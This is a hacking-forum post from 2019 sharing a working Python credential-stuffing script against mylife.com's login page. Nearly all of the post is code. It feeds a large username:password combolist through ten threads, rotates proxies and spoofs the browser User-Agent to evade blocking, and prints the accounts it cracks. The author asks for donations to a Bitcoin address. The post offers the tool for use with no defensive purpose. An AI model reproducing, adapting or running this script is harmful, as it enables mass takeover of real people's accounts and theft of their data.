mylife account cracker 11-11-2019, 06:54 AM
#1
I just threw a python script together back when I needed some stuff for personal OSINT. Enjoyyy.
15PiEmdNquZDJdkanYLkJLZPyVrow54kaG
Donations
Spoiler:
Code:
import os
#Author: SickPsycko
import requests
import json
import re
import random
from bs4 import BeautifulSoup
import threading
import queue
from sys import *
import time
combolist = list()
proxylist = list()
cracked = list()
pending_task = 0
target_url = "https://www.mylife.com/site/login.proc"
def populate_lists(combon, proxyn):
combof = open(combon, 'r')
print("[+] Loading Combination File...")
for line in combof:
combolist.append(line)
combof.close()
print("[+] Loading Proxies...")
with open(proxyn, 'r') as pf:
p_obj = json.load(pf)
for proxy in p_obj:
proxy_parsed = str(proxy["host"]) + ":" + str(proxy["port"])
proxylist.append(proxy_parsed)
def auth_crack(in_queue, out_queue):
while True:
with requests.Session() as session:
try:
comboup = in_queue.get()
(user, passw, retryk) = comboup.split(":")
payload = { '_spring_security_remember_me':'1','username':user, 'password':passw, 'dispatch':'logon', 'fromURL':'$!request.getAttribute("fromURL")'}
if len(proxylist) < 10:
print("Not enough Proxies!")
os._exit(0)
proxyindex = random.randint(0, len(proxylist) - 1)
proxy = { "http": proxylist[proxyindex],"https" : proxylist[proxyindex]}
session.proxies = proxy
session.headers.update({"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"})
session.get("https://www.mylife.com/site/login.pubview", proxies=proxy, timeout=10)
session.cookies
session.headers.update({"Origin":"https://www.mylife.com", "Referer": "https://www.mylife.com/site/login.pubview"})
resp = session.post(target_url, data=payload, allow_redirects=True, timeout=10)
failed_key_search = BeautifulSoup(resp.text, 'html5lib')
failed_element = failed_key_search.find("div", class_="errorList")
if "Invalid Username or Password" in failed_element.text:
failr = "fail"
out_queue.put(failr)
in_queue.task_done()
else:
success_up = "success:" + user + ":" + passw + ":null"
out_queue.put(success_up)
in_queue.task_done()
except(KeyboardInterrupt, SystemExit):
print("Exiting!")
if len(cracked) > 0:
for line in cracked:
print(line)
os._exit(0)
except (requests.exceptions.RequestException):
if proxyindex < len(proxylist):
proxylist.remove(proxylist[proxyindex])
retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry"
out_queue.put(retuserp)
in_queue.task_done()
except Exception as exc:
print(type(exc), str(exc))
if proxyindex <= len(proxylist):
proxylist.remove(proxylist[proxyindex])
retuserp = "connerr"+ ":" + user + ":" + passw + ":" + "retry"
out_queue.put(retuserp)
in_queue.task_done()
if __name__ == '__main__':
acct_tried = 0
crackedc = 0
retryc = 0
combofile = "709k.txt"
proxyfile = "proxies.txt"
populate_lists(combofile, proxyfile)
print("[+] Cracking Accounts..")
comboprocl = queue.Queue()
crackedreturn = queue.Queue()
total = len(combolist)
#start workers
for i in range(10):
t = threading.Thread(target=auth_crack, args=(comboprocl, crackedreturn))
t.daemon = True
t.start()
#Pass data and crack account
for i in range(total):
comboprocl.put(combolist[i] + ":null")
erroread = ""
#get combo status and process success and Failure
#for i in range(total):
# succ_fail = crackedreturn.get()
# errorread = str(succ_fail)
# if "connerr" in errorread:
# pending_task = pending_task + 1
# (conerrn, user, passw, retryk) = errorread.split(":")
# userc = user + ":" + passw
# retryl.append("userc")
# elif "success" in errorread:
# (connerrn, user, passw, retryk) = erroread.split(":")
# success_combo = user + ":" + user
# if retryk is "null":
# cracked.append(success_combo)
while True:
numproxies = len(proxylist)
account_total = len(combolist)
stdout.write("[x]Attempts [%i/%i] [/]Proxies: [%i] [/]Retries: [%i] [/]Cracked: [%i] %s"%(acct_tried, account_total, numproxies, retryc, crackedc, "\r"))
stdout.flush()
try:
succ_fail = crackedreturn.get()
if "connerr" in succ_fail:
pending_task = pending_task + 1
retryc = retryc + 1
(conerrn, user, passw, retryk) = succ_fail.split(":")
userc = user + ":" + passw
comboprocl.put(userc + ":retry")
elif "success" in succ_fail:
(connerrn, user, passw, retryk) = succ_fail.split(":")
success_combo = user + ":" + passw
cracked.append(success_combo)
acct_tried = acct_tried + 1
elif "fail" in succ_fail:
acct_tried = acct_tried + 1
except queue.Empty:
break;
t.join()
for line in cracked:
print(line)
os._exit(0)15PiEmdNquZDJdkanYLkJLZPyVrow54kaG
Donations
(This post was last modified: 11-11-2019, 07:03 AM by SickPsycko.
Edit Reason: Fixed a line
)
“Lord, protect me from my friends; I can take care of my enemies.” - Volitaire

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)